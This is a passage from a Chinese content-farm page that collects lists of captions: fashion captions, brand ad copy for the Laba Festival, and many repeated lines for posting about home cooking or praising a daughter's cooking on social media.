25、浓墨重彩的风格，才最适合被铭记，不是自恃清高，只是讨厌所有无趣的搭配，专注各种出挑的亮色、前卫的印花和有趣的廓形，去抨击所有的乏味和枯燥。 26、下半身黑色打底裤与黑色高帮靴的搭配让腿部线条得到延伸。 27、为他人而打扮太过辛苦，为自己打扮又显得太寂寞，尽管如此，人还是要努力变得时髦好看，这是为什么呢？ 28、风格首先是一种本能、直觉。 29、大胆的红绿配色搭配民族特色印花，简单却留下深刻印象。 30、红色是悲伤的终极良药。 31、藏青、淡卡其交织的风衣外套，一眼就能识别秋天的气息。 32、修身直筒剪裁利于曲线优化又能够遮挡腰身赘肉，刚刚过臀的长度不挑身高。 33、风格与流行之间的不同在于质量。 34、下半身铅笔裤与马丁靴的组合干练帅气，整体造型活泼率真又具修身效果。 35、服装和举止不能造就一个人，但他被造就成人时，服装和举止就会极大地改善他的外貌。   以上就是带给大家欣赏的关于穿搭的文案，喜欢记得收藏！ ...

  腊八节，中国传统节日，意味着，年就要来了。那么，品牌如何在腊八节这天，借势营销呢？ 今天，为你精选了5大品牌的借势广告文案，我们可以看看，这些品牌的借势营销广告文案如何做的，或许从中可以找到新的思路哦。 1，杜蕾斯 先挑逗，再喝粥。杜蕾斯，合理利用了腊八节的元素—腊八粥的原料，结合自己产品的特色，将腊八粥原料摆成了TT的形状，再配上有内涵的文字“先挑逗，再喝粥”，处处流露出自己品牌的调性。 2，七匹狼 腊八节，盼新年，早团员。过了腊八就是年，穿了七匹娘就是暖。 这个文案，其实是比较简单，但也体现了自己品牌的特色“暖”，这就是卖点啊。 3，小黄车 “腊”么轻松，温暖一碗粥，轻松一路骑，腊八节快乐！ 三言两语，配上一碗腊八粥，配上骑小黄车的人，一如既往的“黄”色调，就形成了小黄车腊八节的特色借势广告文案。 4，恰恰 坚果配八宝，味道洽洽好。 既然都是吃的，那不如配着一起吃吧，洽洽这个广告文案，合理利用“洽洽”谐音，传递出自己品牌的信息。 5，江小白 无论离乡多远，一碗粥便能唤起家的温暖。 江小白，还是一如既往的走心温暖。 好了，看到这里，你应该知道，腊八节借势文案怎么写了哇？主要是，找到腊八节相关的元素，比如：腊八粥，过年，家，温暖等相关信息，然后在结合自己品牌的卖点，来自由组合，就可以是一个不错的文案哦。 叶小鱼文案，《新媒体文案创作与传播》作者，微信公众号：叶小鱼跑跑跑（talkto520） ...

自己做饭菜发朋友圈的句子(篇一) 1.昨晚准备好的早餐，今早直接吃就可以。一个焦糖布丁和一个加了点抹茶的蛋糕，味道非常好，越来越享受变着花样做美食的乐趣了。不自己做甜点的时候真体会不到放糖放到肝颤的节奏。 2.你看，是不是有大厨的天分。 3.吃货最高境界。眼见为食。 4.在最好的时光里，遇见美食的精致。 5.视体重为无物 视美食为全部。 6.原来我做菜这么好吃啊。 7.明天再吃不到烧烤，就到达不了快乐星球了 8.认识了我老婆之后，下馆子是什么概念?就是天天在家下馆子！ 9.终于被我逮到了。 10.今天自己动手，忍着耻骨痛也要做饭吃，简单健康美味。 11.厨房里的生活家。 12.不管好坏，放空下来给自己做一顿美食，亦或是尝试一款新的酒，都是一种享受。 13.家不一定要富裕，但一定要干净，饭不一定是山珍海味，但都是自己做的 14.自己动手做饭的感觉太棒了，今天是吃不起猪肉的一天。 15.开启可爱的一天，好的厨艺必须展示出来 16.我的男人长大了，趁我不在，会自己动手做饭了你越来越值得我爱我也值得你对我越来越好。 17.早餐打卡：不喜欢在外吃饭，那就只能辛苦点自己动手做饭。 18.知道越多就越难控制自己不去比较。所以还是自己做美食和享受美食最实在。 19.我已经好久没有做菜了，今天好不容易做了几道菜，卖相还不是很好，但是我的拍照技术很好，能够把不好的菜修的色泽诱人，所以很多的人都羡慕我的手艺。 20.我才十几岁 爱情可以迟到 但外卖不行 自己做饭菜发朋友圈的句子(篇二) 21.请带上128个G的胃跟我去浪迹天涯，四海为家。 22.看着自己做的美美的菜心情很是愉悦，虽然我吃的极少，但我享受创造美食的过程啊。 23.吃货的最高境界：眼见为食！ 24.老婆，啥时候我们都辞职开一家餐馆儿吧，我给你打下手，生意不用愁！ 25.吃货的思路是好吃你就多吃点，不好吃多少也要吃点。 26.深夜放毒，毒到一个是一个。 27.老说我朋友圈没有营养，那我就发个有营养的 28.积极向上的生活，热腾腾的活着 ，总有很多瞬间告诉你，生活温柔且浪漫 29.不能在外乱吃东西了，昨天连续喝了两大杯奶茶，和一些肉质品，虽然味道都很好，但现在肠胃还觉得难受。 30.将快乐烘烤，让幸福的气息四溢，将如意翻炒，让美好的气味飘散，将开心的大餐摆满人生的餐桌。 31.辜负什么都不能辜负自己的胃。 32.佳肴美味有多种，顾客品尝赞无数。酸甜苦辣味道全，人生百味在其中。 33.我也会做饭，要不要尝试一下我的手艺 34.我家有个小女人，以厨艺赢了我的胃，以厨德服了我的人。 35.一个人的生活很简单，一首单曲循环，一本笔记，一份自己做的美食…从惶恐到开始慢慢享受，只是一个习惯的过程。 36.变贤惠的第1步，久吃成厨 37.思想如钻子，必须集中在一点钻下去才有力量。 38.每天最幸福的事情，就是累了一天回到家能吃上我媳妇亲手做的美味佳肴，天天就盼着这一口儿呢！ 39.广州今天的气温刚刚好，不冷也不热，适合宅在家，放空自己。。给自己做顿美食，听听音乐，享受一个人的安静周末。 40.酒店五星级厨师?在我媳妇儿面前必定是不敢龇牙的，立马睡倒。 夸自己做饭好吃发朋友圈的句子汇总四十条 夸自己做饭好吃发朋友圈的句子篇一 1.有人问过我，为什么要叫这个名字。我说我很喜欢做菜，做菜我很享受这个过程也能在其中让自己放松。要是能让自己爱的人吃上自己做的美食是男人的梦想。我能看见吃到美食后的幸福感。吃到我做的东西的人可能，我不是她的喜欢的。但一定是她最爱的'。 2.一双巧手演绎五彩斑斓，一把大勺爆炒酸甜苦辣，一脸热情无憾把青春挥洒，一顶高帽是对我的评价。 3.和美食谈一场恋爱。 4.生活的模样取决于你对生活的态度，爱生活的人一定被生活所热爱，家有烟火气，日子才能得有滋有味 5.看着一桌子菜，幸福感暴增。 6.自己动手丰足食，都不记得多少年没给自己煮面线吃，都是家里做饭。 7.久处不厌，有所期待 8.吃货的思路是好吃你就多吃点，不好吃多少也要吃点。 9.积极向上的生活，热腾腾的活着 ，总有很多瞬间告诉你，生活温柔且浪漫 10.佳肴美味有多种，家人品尝赞无数。酸甜苦辣味道全，人生百味在其中。 11.理想的路总是为有信心的人预备着。 12.上晚班的时候就可以一个人在家安安静静地弄顿美食吃，很享受这种自己动手做饭的感觉，你认真做饭的样子真的很帅气哦。 13.吃食是一种幸福，品味是一种情趣。 14.来我家吃饭吗?我亲自下厨。 15.生活就该时而简单，时而精致 16.广州今天的气温刚刚好，不冷也不热，适合宅在家，放空自己。。给自己做顿美食，听听音乐，享受一个人的安静周末。 17.但愿人长久，顿顿不长肉。 18.别人再怎样也是黑暗料理，而我，是黑洞料理。 19.中华文化博大精深，八大菜系算什么，我有十八种制作泻药的方法 20.粗茶淡饭，人间烟火，最动人心 夸自己做饭好吃发朋友圈的句子篇二 21.简简单单的幸福生活，不过如此。 22.爱自己，从一个人下厨房开始。 23.佳肴美味有多种，顾客品尝赞无数。酸甜苦辣味道全，人生百味在其中。 24.理论上会做任何菜，理论上 25.在家为家人做饭，无疑是一种聚集人气，添加和乐气氛的活动。 26.世界上最治愈的东西：第一是美食，第二是会做美食的你 27.热爱厨房的人，一定也热爱生活 28.山珍海味，美味佳肴在我做的菜面前也不过如此而已…… 29.亲自下厨，做了一道小炒豆油皮。炝锅，加料，颠锅，翻炒。大火爆炒，小火喂汤，入汁入味，清香可口，刀功火候都是出神入化。还是那么熟练，还是那个味道。 30.做饭可以让自己静下心来，同时还能为家人带来美味和健康，何乐而不为? 31.自己动手，丰衣足食打卡坚持自己做饭的第二周。 32.张小厨的今日分开心事。 33.终于被我逮到了。 34.做人要像苏打小饼干一样干干脆脆。 35.对于最有能力的领航人风浪总是格外的汹涌。 36.知道越多就越难控制自己不去比较。所以还是自己做美食和享受美食最实在。 37.幸福莫过于厨房有烟火，而家也有温度 38.我有一颗减肥的心，奈何长了一张吃货的嘴 39.都说抓住一个男人先要抓住他的胃，反正这件事，我老婆做的很成功。 40.明天再吃不到烧烤，就到达不了快乐星球了 发朋友圈晒自己做饭的幽默句子汇总四十句 发朋友圈晒自己做饭的幽默句子(篇一) 1.比你做饭好吃这件事，我很抱歉 2.思想如钻子，必须集中在一点钻下去才有力量。 3.理想的路总是为有信心的人预备着。 4.生活就该时而简单，时而精致 5.欢迎大家来我家做客。 6.想了一百个关于和你的文案，都不及我们互相陪伴一起吃的每一顿饭 7.我想吃拉面，想试着自己做拉面汤。无聊的时候琢磨琢磨美食也是一大享受，对吧，应该是吧。不知道从什么时候从小吃货变成能吃就行，完全不讲究。 8.别人的厨艺是生活我的厨艺是生存 9.陪伴与懂得，比爱情更加重要。一个人最幸福的时刻，就是休息时在家学着为家人做饭。 10.请带上128个G的胃跟我去浪迹天涯，四海为家。 11.我的梦想是住在食家庄，日日食全食美，夜夜碟碟不休。 12.吃货最高境界。眼见为食。 13.每天叫醒自己的不是闹钟，不是梦想，不是尿急，而是肚子。 14.美味佳肴赞誉声声传，勤学苦练厨艺几十年。 15.自从有了安宝，好久没好好下厨了，突然怀念以前精心为家人做饭的时候，这周有时间，计划起来做大餐陪家人。 16.生活要有仪式感，最近的吃吃喝喝出门在外，一定要自己动手做饭的呀。 17.他们不懂吃货的快乐。 18.爱的火把在厨房点燃。 19.山珍海味，美味佳肴在我做的菜面前也不过如此而已…… 20.理论上会做任何菜，理论上 发朋友圈晒自己做饭的幽默句子(篇二) 21.穷穷的自己，只能自己动手做饭，10块钱解决一天。 22.对于最有能力的领航人风浪总是格外的汹涌。 23.人生苦短 再来一碗。 24.一个人的生活很简单，一首单曲循环，一本笔记，一份自己做的美食…从惶恐到开始慢慢享受，只是一个习惯的过程。 25.岁月让我知道，除了快递和美食，我谁都不用等。 26.好坏全靠运气，咸淡全靠手气 27.我妈不让我上新东方，说是她用挖掘机做饭都比我做的好吃 28.开心的锅铲，炒出甜蜜的滋味；悦心的调料，调出美满的味道；惬意的烹饪，烹出幸福的大餐。 29.虽然自己动手，丰衣足食，但是做饭2小时，吃饭5分钟的速度还是让我觉得不值。 30.下厨是开心快乐的事情，天赋不重要 31.以前光爱吃，现在爱上做饭了。 32.勇敢是什么，是我明知道这一顿吃下去会胖，我还是迎头而上。 33.用最好的食材，把握恰恰好的时间，佐以一颗爱心，为家人制作一桌美味的饭菜，是充满仪式感的工作。 34.变贤惠的第1步，久吃成厨 35.快乐要爆炒，香气飘满周围的空间；烦恼得慢炖，轻松缓缓拥抱了惆怅；幸福像煲汤，滋味伴着时间越久越浓。世界厨师日，愿你烹调出自己的美味生活。 36.生活的'仪式感很重要，忙绿的里也要把柴米油盐的生活过的有诗意。给自己做一顿美食，好好享受。愿自己每天都可以保持愉悦的心情和积极的生活心态。 37.我不仅可爱，还会做菜。 38.这辈子唯一拿得起，放不下的就是——筷子。 39.生活已经开始对我这个小泡芙加奶油了。 40.好久没有晒做饭了，来点儿正能量和幸福感！哈哈～做完了觉得自己真的是很有天赋呀！凉拌粉丝，煎刀鱼，西红柿炒蛋，还有做的绿豆芽土豆丝炒肉加辣椒！大家鼓掌！ 女儿自己做饭朋友圈夸她的句子汇总六十句 女儿自己做饭朋友圈夸她的句子篇一 1.嘴刁的人，再忙也要吃女儿做饭， 2.南来或北往，愿为一人下厨房 3.今天第一次教女儿做饭，好幸福好心酸，她还是不知不觉的就长大了。 4.今天女儿第一次做饭给我吃，还挺美味呢，深得我的遗传基因。 5.女儿做饭这种事，真的不能听别人，而得自己做主。 6.今天女儿第一次做饭给我吃，还挺美味呢，深得我的遗传基因，功力深厚，都没怎么教她，天资聪慧，长得也漂亮，完全复制我，哈哈，顺便夸一下自己。 7.女儿第一次炒菜做米饭，味道不错哦，大写点赞一百个。 8.本女儿厨手艺打败百分之九十九的人。 9.又是女儿认真做饭的一天，想吃什么自己等着就可以了。 10.等女儿做饭给我吃的感觉好幸福咸淡味道掌握的真好。 11.大宝贝女儿做的周末爱心早餐 大发慈悲让她老妈睡到了八点半。 12.只有通过思想，做饭才会变得愉快，两者是不可分离的。 13.女儿，一入此门深似海，从此红尘是路人！ 14.好久没有为家人做饭了，今天周末难得有时间为家人做顿饭，厨艺有待提高！ 15.做饭的回报永远都是慷慨的：它不仅创造了人类自己，使人类从荒蛮走向了文明，也让人类所创造的文明得以万古长青。 16.未来的每一步一脚印，踏着彼此梦想前进。 17.能看着女儿做饭大，是人生中最大的幸福。 18.晒晒今天女儿给我做的爱心早餐其实最后都是她自己吃的。 19.1028大女儿第一次给妈妈做饭，像样，不错！ 20.女儿会做饭，生活很浪漫。 女儿自己做饭朋友圈夸她的句子篇二 21.看着宝贝女儿做饭，竟然觉得比自己吃饭都幸福，实在是太萌了！ 22.一个人最幸福的时刻，就是休息时女儿在家做饭。 23.女儿动手做饭吃，总之要勤快！ 24.女儿第一次做饭，佳肴美味有多种，家人品尝赞无数。酸甜苦辣味道全，人生百味在其中。 25.女儿今天亲自下厨，简简单单的幸福生活，不过如此。 26.女儿做的爱心早餐，满满的暖意和显摆。 27.我才吃你在看，便是好时光。 28.女儿大显身手献厨艺，艺展天下无人敌。 29.晚饭开始吃啦，我的 女儿手艺还不错，味道很好呢。 30.今天中午工作回来，宝贝女儿做好饭，在家等着呢！这是女儿第一次做饭下面条，我一点都没想到，女儿真是长大了，懂事了，心里非常感动，美美的，甜甜的！ 31.妈妈说“这是我女儿第一次做饭给我吃，很好吃呢！”。 32.晚饭是女儿蒸的包子。看着还不错吧！其实我觉得自己挺幸福的，除了需要去照顾老爸的时候赶上保姆休息才动手做做道，一般在自己家，我都不用做饭的，都是女儿做给我吃。这也是我20多年独自辛苦的福报吧。 33.女儿多就是好啊，尤其是勤快的女儿，越多越善今天是 姐姐早起给妈妈做的爱心早餐，特色烤冷面就问还在酣睡的你们馋不馋，羡慕不羡慕。 34.我家有个小孩，以厨德服了我的人。 35.女儿长这么大都还是只会煲白饭。 36.干啥啥不行，女儿做饭第一名。 37.蜡笔小新第一次做饭，还那么认真，贴心的女儿，真的是长大了！ 38.是时候表演真正的技术了，女儿的厨艺生活，我的厨艺是生存。 39.吃货的快乐你们永远不懂，那就是有了美食，抛弃一切。 40.女儿从不会做饭，到学会做饭，一日三餐。生活就是一半烟火，一半清欢。 女儿自己做饭朋友圈夸她的句子篇三 41.吃吃喝喝，看得出来吧，我还是更喜欢吃女儿做的饭！ 42.我觉得女儿长大的开始大概就是愿意自己动手做饭了。 43.女儿第一次做饭，我安慰他说灶是新的，火候不好掌握。 44.这么热的天做饭真是要了老命啊，女儿还得每天做饭给我吃。 45.粗茶淡饭，人间烟火，最动人心！ 46.希望能早上起早给我做早餐三明治，奈何总是醒不来。今天早上被一泡尿憋醒了，起床之后赶紧跑到厨房去给我做早餐。小姑娘做饭越来越在行了，吃着女儿给做的爱心早餐，简直幸福感爆棚。出门的时候她在门口喊：妈妈下午早点回来。有女如此，上苍眷顾。 47.锅盖一揭，呵，只见熟了的小白兔馒头胖胖的，好像冲着我笑呢，孩子真棒，做得饭真好。 48.看着女儿做的美美的菜心情很是愉悦，虽然我吃的极少，但我享受 女儿创造美食的过程啊。 49.女儿第一次做饭超级成功，美味的手抓饼真不错！ 50.在最好的时光里，遇见女儿做的美食。 51.女儿偷偷早起给我做的爱心早餐，刚准备出门，臭孩子带我去厨房，惊喜又暖心，有这样的女儿真好！ 52.虽然不是山珍海味，但是女儿动手做的就很有成就感。 53.女儿喜欢给我人做饭，也喜欢各种食材烹饪出的颜色。 54.原来女儿做菜这么好吃啊。 55.女儿做饭是时候表演真正的技术了。 56.你想尝尝本姑娘 女儿的手艺吗 57.自从女儿做饭以后，以前爱在外面吃，现在爱在家里做。 58.当吃货挺好的，吃着吃着什么都忘了。 59.快乐其实很简单，吃着自己女儿做出来的美食也是一种享受。 60.昨天回来，昨天晚上女儿第一次炒菜，最经典的番茄鸡蛋。 晒厨艺自己做饭的文案 2022自己生火做饭发朋友圈文案篇一 1.不想听大道理，只想吃小蛋糕。 2.将快乐烘烤，让幸福的气息四溢，将如意翻炒，让美好的气味飘散，将开心的大餐摆满人生的餐桌。 3.我太喜欢做饭了，我上辈子可能是个保姆自己动手，丰衣足食我做的鸡肉面条太好吃了。 4.我想吃拉面，想试着自己做拉面汤。无聊的时候琢磨琢磨美食也是一大享受，对吧，应该是吧。不知道从什么时候从小吃货变成能吃就行，完全不讲究。 5.积极向上的生活，热腾腾的活着 ，总有很多瞬间告诉你，生活温柔且浪漫 6.我以碳烧鲍鱼的热烈，过桥石斑鱼的温暖，上汤龙虾的鲜美，冰花血燕的甜蜜，辽参一样的涨发，拉条子的宽广。 7.我家有个小女人，以厨艺赢了我的胃，以厨德服了我的人。 8.做人要像苏打小饼干一样干干脆脆。 9.老婆，啥时候我们都辞职开一家餐馆儿吧，我给你打下手，生意不用愁！ 10.中华文化博大精深，八大菜系算什么，我有十八种制作泻药的方法 11.自己动手丰衣足食，每天中午都抓紧回家做饭，吃完饭就得赶紧回去上班，感觉每天的时间都不够用的。 12.今天饱饱地午睡后与父亲一起边聊边做饭，我也期待以后有个大大的厨房，为家人做很多好吃的。 13.有人问过我，为什么要叫这个名字。我说我很喜欢做菜，做菜我很享受这个过程也能在其中让自己放松。要是能让自己爱的人吃上自己做的美食是男人的梦想。我能看见吃到美食后的幸福感。吃到我做的东西的人可能，我不是她的喜欢的。但一定是她最爱的'。 14.酒店五星级厨师?在我媳妇儿面前必定是不敢龇牙的，立马睡倒。 15.知道减肥是为了什么嘛？减肥是为了再吃。 16.每次我老婆烧饭，我都可能在菜还没上桌之前，将它们统统消灭光，还好我克制住了自己。 17.把眼睛留给风光，把体重留给美食。 18.我敢把这句话放在这里，你来我家吃饭，我媳妇十天半个月之内不会让你吃到重复的菜式，就是这么牛！ 19.向宇宙撒一把盐 今天晚上吃盐焗小星球 20.厨房里的生活家。 2022自己生火做饭发朋友圈文案篇二 21.今天的胃是128G的。 22.我上辈子应该是饿着肚子拯救了全宇宙，这辈子赐我这么一个会做饭的媳妇儿！ 23.家不一定要富裕，但一定要干净，饭不一定是山珍海味，但都是自己做的 24.做饭可以让自己静下心来，同时还能为家人带来美味和健康，何乐而不为? 25.佳肴美味有多种，顾客品尝赞无数。酸甜苦辣味道全，人生百味在其中。 26.大显身手献厨艺，艺展天下无人敌。 27.我有一颗减肥的心，奈何长了一张吃货的嘴 28.从明天起，我要做个勤快的人，早起拒绝外卖、尽量少吃外面的饭，自己动手做饭吃，总之要勤快！ 29.佳肴美味有多种，家人品尝赞无数。酸甜苦辣味道全，人生百味在其中。 30.又是认真做饭的一天，想吃什么自己动手就可以了。 31.一个人一定要好好照顾自己，给自己做一道美食，好好的去享受生活，你会发现，幸福其实就在身边！ 32.本厨手艺打败百分之九十九的人。 33.一个简单的蛋炒饭让我吃了都能成仙，这本事恐怕只有我老婆有了！ 34.思想如钻子，必须集中在一点钻下去才有力量。 35.当吃货挺好，吃着吃着就忘了。 36.小饼如嚼月，中有酥和饴。 37.非常想念学校的食堂，工作以后就得自己动手做饭。 38.他们不懂吃货的快乐。 40.我的男人长大了，趁我不在，会自己动手做饭了你越来越值得我爱我也值得你对我越来越好。 2022孩子做饭文案朋友圈小红书摘录六十句 2022孩子做饭文案朋友圈小红书篇一 1.今天周末女儿难得有时间为家人做顿饭，厨艺有待提高！ 2.快乐其实很简单，吃着自己女儿做出来的美食也是一种享受。 3.女儿昨晚准备好的早餐，今早直接吃就可以。一个焦糖布丁和一个加了点抹茶的蛋糕，味道非常好，越来越享受变着花样做美食的乐趣了。不自己做甜点的时候真体会不到放糖放到肝颤的节奏。 4.幸福就是有人给我做饭第一次吃女儿给我做的饭撑着也开心同时也感谢多多他爸和迪迪他爸这两位副大厨。 5.女儿在家为家人做饭，无疑是一种聚集人气，添加和乐气氛的活动。 6.太棒了，下班回到家儿子就把饭菜端上桌这是他第一次做饭，这种味道我相信我一辈子都不会忘。 7.当我们开始翘首以盼简单自由的生活，那么美好的时光一定不会太远…大清早，享用女儿精心做的“爱心早餐”，心里暖暖的。 8.幸福就是看着女儿做饭。 9.女儿做饭是时候表演真正的技术了。 10.说起来女儿可能不信，是锅先动的手 11.我的女儿上得厅堂下得厨房 。 12.原来女儿做菜这么好吃啊。 13.女儿做饭，便是好时光。 14.女儿不仅可爱，还会做菜，厨艺棒极了！ 15.人生苦短 再来一碗。 16.自己女儿下厨最香了。 17.一觉醒来外面还在下雨，女儿告诉我今天起给我放假七天，然后女儿不慌不忙的做饭炒菜，第一次炒醋溜白菜片，挺好吃的，宝贝的孝心让我心里暖暖的，非常值得表扬。 18.别人再怎样也是黑暗料理，而女儿，是黑洞料理。 19.蜡笔小新第一次做饭，还那么认真，贴心的女儿，真的是长大了！ 20.晚饭开始吃啦，我的 女儿手艺还不错，味道很好呢。 2022孩子做饭文案朋友圈小红书篇二 21.女儿第一次做饭，我安慰他说灶是新的，火候不好掌握。 22.确定是本人女儿亲自做的，可惜没人和我一起吃。 23.只有做饭才能使思想健全。 24.女儿早餐做饭，平生第一次磕出双蛋黄，有啥寓意啊?惊喜了一下。 25.很平常的一天，闺女做饭，收拾家，带闺女去超市买了点吃的，看似平常却也幸福！真的希望新的一年里家人都平平安安健健康康的，这样就挺好。 26.平平无奇，女儿做饭小天才。 27.看着自己的女儿做饭，就是享受。 28.女儿可以用这个手艺谋生。 29.女儿喜欢给我人做饭，也喜欢各种食材烹饪出的颜色。 30.本女儿厨手艺打败百分之九十九的人。 31.女儿做饭，简简单单的幸福生活，不过如此。 32.今天中午工作回来，宝贝女儿做好饭，在家等着呢！这是女儿第一次做饭下面条，我一点都没想到，女儿真是长大了，懂事了，心里非常感动，美美的，甜甜的！ 33.吃货的快乐你们永远不懂，那就是有了美食，抛弃一切。 34.炒菜不香，是因为“味道”没炒熟。 35.原来我 女儿做菜这么好吃啊。 36.女儿动手做饭吃，总之要勤快！ 37.女儿偷偷早起给我做的爱心早餐，刚准备出门，臭孩子带我去厨房，惊喜又暖心，有这样的女儿真好！ 38.女儿第一次做饭，佳肴美味有多种，家人品尝赞无数。酸甜苦辣味道全，人生百味在其中。 39.书山有路先干为敬，学海无涯八宝作粥。 40.让孩子做饭，才是最好的早教！ 2022孩子做饭文案朋友圈小红书篇三 41.请朋友来我家吃女儿做的饭：“开水泡馍，馍自带。” 42.女儿送给我和妈妈的礼物，一早亲手做的爱心早餐。暖暖的都是爱。 43.看着宝贝女儿做饭，竟然觉得比自己吃饭都幸福，实在是太萌了！ 44.女儿下厨， 看着一桌子菜，幸福感暴增。 45.南来或北往，女儿愿为我下厨房！ 46.当吃货挺好的，吃着吃着什么都忘了。 47.看着女儿做的美美的菜心情很是愉悦，虽然我吃的极少，但我享受女儿创造美食的过程啊。 48.女儿给做的爱心早餐 宅出新高度 长大了。 49.做饭女儿是认真的，难吃是天生的。 50.女儿做饭，好坏全靠运气，咸淡全靠手气 51.吃货的思路是好吃你就多吃点，不好吃多少也要吃点。 52.女儿今天亲自下厨，亲手为我们弄了一桌子菜，在土豪姐新家第一餐聚餐。 53.今天第一次教女儿做饭，好幸福好心酸，真的不想她这么快长大，但是她还是不知不觉的就长大了。 54.大宝贝女儿做的周末爱心早餐 大发慈悲让她老妈睡到了八点半。 55.孩子，做饭本就是一场修行。 56.嘴刁的人，再忙也要吃女儿做饭， 57.现在爱上会做饭的女儿了！ 58.女儿下厨，吃的最香了。 59.大女儿第一次给妈妈做饭，像样，不错！ 60.世界上最治愈的事：第一是美食，第二是会做饭的你。 自己做饭后发朋友圈的搞笑句子摘录(40条) 自己做饭后发朋友圈的搞笑句子篇一 1.在方便面界处于不败之地，你是想吃红烧还是香辣还是香锅的方便面? 2.陪伴与懂得，比爱情更加重要。一个人最幸福的时刻，就是休息时在家学着为家人做饭。 3.本厨手艺打败百分之九十九的人。 4.在家为家人做饭，无疑是一种聚集人气，添加和乐气氛的活动。 5.非常想念学校的食堂，工作以后就得自己动手做饭。 6.我想吃拉面，想试着自己做拉面汤。无聊的时候琢磨琢磨美食也是一大享受，对吧，应该是吧。不知道从什么时候从小吃货变成能吃就行，完全不讲究。 7.认识了我老婆之后，下馆子是什么概念?就是天天在家下馆子！ 8.老婆，啥时候我们都辞职开一家餐馆儿吧，我给你打下手，生意不用愁！ 9.心情好，吃嘛嘛香。 10.吃美食是种享受自己做美食是一种生活。 11.人生苦短 再来一碗。 12.这辈子唯一拿得起放不下的是筷子。 13.不管好坏，放空下来给自己做一顿美食，亦或是尝试一款新的酒，都是一种享受。 14.曾经沧海难为水，鱼香肉丝配鸡腿。 15.就算全世界与你为敌，好吃的，永远站在你这一边。 16.生活一定要精致的过，虽然我不是一个精致的猪猪女孩 17.爱自己，从一个人下厨房开始。 18.天气很热的时候，我只想叫外卖不想自己动手，天气冷了我做饭的热情就起来了。 19.我才十几岁 爱情可以迟到 但外卖不行 20.一双巧手演绎五彩斑斓，一把大勺爆炒酸甜苦辣，一脸热情无憾把青春挥洒，一顶高帽是对我的评价。 自己做饭后发朋友圈的搞笑句子篇二 21.我总徘徊在吃饱与吃撑之间。 22.昨晚准备好的早餐，今早直接吃就可以。一个焦糖布丁和一个加了点抹茶的蛋糕，味道非常好，越来越享受变着花样做美食的乐趣了。不自己做甜点的时候真体会不到放糖放到肝颤的节奏。 23.在最好的时光里，遇见美食的精致。 24.庆祝小张第一次下厨 25.做人要像苏打小饼干一样干干脆脆。 26.浓浓烟火气息，最近喜欢每天自己动手做饭的过程，果然女人是善变的，以前不爱做饭光，想出去吃的我消失了。 27.昨夜你未入眠，今儿清晨你要打鸡血去市场给爱人买他喜欢的猪腿儿。因为他瘦了一圈。但遗憾的是你不会做，所以只能他自己做。后者一起享受香香的美食。 28.白开水烧的一绝 29.最幸福的时刻便是享受自己做的美食。 30.长肉的季节！晚饭还没消食，邻居小美女又送来自己做的麻辣牛肉和卤味。我想说歪歪哥你是研究上瘾了！虽然我能享受美食，不过女还是不要太贤惠。 31.既然生活，就要有滋有味。 32.我媳妇做饭好吃的程度嘛...此餐只应天上有，人间哪得几回尝！ 33.都说抓住一个男人先要抓住他的胃，反正这件事，我老婆做的很成功。 34.今天的胃是128G的。 35.是时候表演真正的技术了，别人的厨艺生活，我的厨艺是生存 36.自己动手，丰衣足食打卡坚持自己做饭的第二周。 37.生活就该时而简单，时而精致 38.享受完自己做的美食宝宝就要去上班了。 39.我能炒出个敬业福来你信吗? 40.我以碳烧鲍鱼的热烈，过桥石斑鱼的温暖，上汤龙虾的鲜美，冰花血燕的甜蜜，辽参一样的涨发，拉条子的宽广。 2022自己下厨做饭的文案 分享 2022自己下厨做饭的文案(篇一) 1.做饭也算是一种天赋了，吃的心花怒放，自己动手丰衣足食。 2.是时候表演真正的技术了，别人的厨艺生活，我的厨艺是生存 3.吃货的快乐你们永远不懂，那就是有了美食，抛弃一切。 4.好久没有为家人做饭了，今天周末难得有时间为家人做顿饭，厨艺有待提高！ 5.理论上会做任何菜，理论上 6.自从有了安宝，好久没好好下厨了，突然怀念以前精心为家人做饭的时候，这周有时间，计划起来做大餐陪家人。 7.吃自己煮的菜，特别有成就感。 8.佳肴是辛勤的果实，美味是汗水的结晶，烹饪是大师的炒作。 9.我太喜欢做饭了，我上辈子可能是个保姆自己动手，丰衣足食我做的鸡肉面条太好吃了。 10.你想尝尝本姑娘的手艺吗 11.我家有个小女人，以厨艺赢了我的胃，以厨德服了我的人。 12.我妈不让我上新东方，说是她用挖掘机做饭都比我做的好吃 13.享受自己下厨的文案 自己做菜晒朋友圈的说说2 14.都说抓住一个男人先要抓住他的胃，反正这件事，我老婆做的很成功。 15.大显身手献厨艺，艺展天下无人敌。 16.自己下厨最香了。 17.向宇宙撒一把盐 今天晚上吃盐焗小星球 18.下厨是开心快乐的事情，天赋不重要 19.耳听为虚，眼见为食。 20.唯有美食和爱不可辜负。 2022自己下厨做饭的文案(篇二) 21.嘴刁的人，再忙也要自己做饭，想要的味道，只有自己动手才做得出来。 22.今天下厨的是仙女 23.不发了不发了！后天开始自己做饭饭了！自己动手！丰衣足食！ 24.说起来你可能不信，是锅先动的手 25.比你做饭好吃这件事，我很抱歉 26.自己动手做饭的感觉太棒了，今天是吃不起猪肉的一天。 27.厨房有女初长成 28.有一种生活叫做为家人做饭然后看着他们吃光光。 29.视体重为无物 视美食为全部。 30.久处不厌，有所期待 31.吃了这么多年便利店车仔面，今晚要亲自下厨煮一次了。 32.自己动手丰衣足食，想吃扯面自己做，吃完自己洗锅，男孩子从小培养做饭以后好找媳妇。 33.变贤惠的第1步，久吃成厨 34.生活已经开始对我这个小泡芙加奶油了。 35.请带上128个G的胃跟我去浪迹天涯，四海为家。 36.最幸福的时刻便是享受自己做的美食。 37.人到中年就应该放慢脚步，让自己的生活过得惬意一些，只有这样整个人的心情才能变得好起来。在你有空的时候赏赏花，做做菜，在朋友圈晒晒美食，体验一下人生的乐趣，这样你才能过的幸福。 38.不在家上班也一样可以享受自己做的美食…… 39.吃乎，肥也；不吃，馋也。 40.谁说吃货除了吃就什么都不会了，她们还知道饿。 以下是一些关于晒厨艺自己做饭的文案，供您参考： 1. 自己动手，丰衣足食。今天我展示了我的厨艺，做出了美味的烤鸡翅，口感鲜美，香气扑鼻，比外面卖的还要好吃！ 2. 做饭也是修行，我在厨房里感受到了生活的点滴美好。今天我做了一道清爽可口的蔬菜沙拉，让自己和家人感受到了夏日里的清凉与健康。 3. 做饭不仅可以满足味蕾，还可以带来满满的成就感。今天我完成了自己的第一份炖肉，口感醇厚，香气四溢，我为自己的厨艺感到自豪！ 4. 